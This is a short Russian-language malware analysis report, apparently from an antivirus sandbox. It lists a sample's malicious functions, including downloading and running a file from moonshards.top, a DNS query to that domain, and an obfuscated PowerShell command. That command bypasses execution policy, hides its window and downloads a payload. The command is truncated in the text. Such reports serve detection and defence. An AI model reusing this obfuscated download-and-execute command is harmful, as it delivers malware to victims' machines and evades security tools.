Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poWErS^he^ll.^eXE -^exECu^T^io^n^pOLICy ^BYpA^Ss^ ^-n^oPRo^fi^lE -^WindOw^STYlE ^h^I^DD^En^ (ne^w-^o^bj^Ect^ Sys^teM.net.WEb^C^li^Ent).Do^wnLO^a^dFIl^e(^'http://moonshards....
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poWErS^he^ll.^eXE -^exECu^T^io^n^pOLICy ^BYpA^Ss^ ^-n^oPRo^fi^lE -^WindOw^STYlE ^h^I^DD^En^ (ne^w-^o^bj^Ect^ Sys^teM.net.WEb^C^li^Ent).Do^wnLO^a^dFIl^e(^'http://moonshards....' (со скрытым окном)
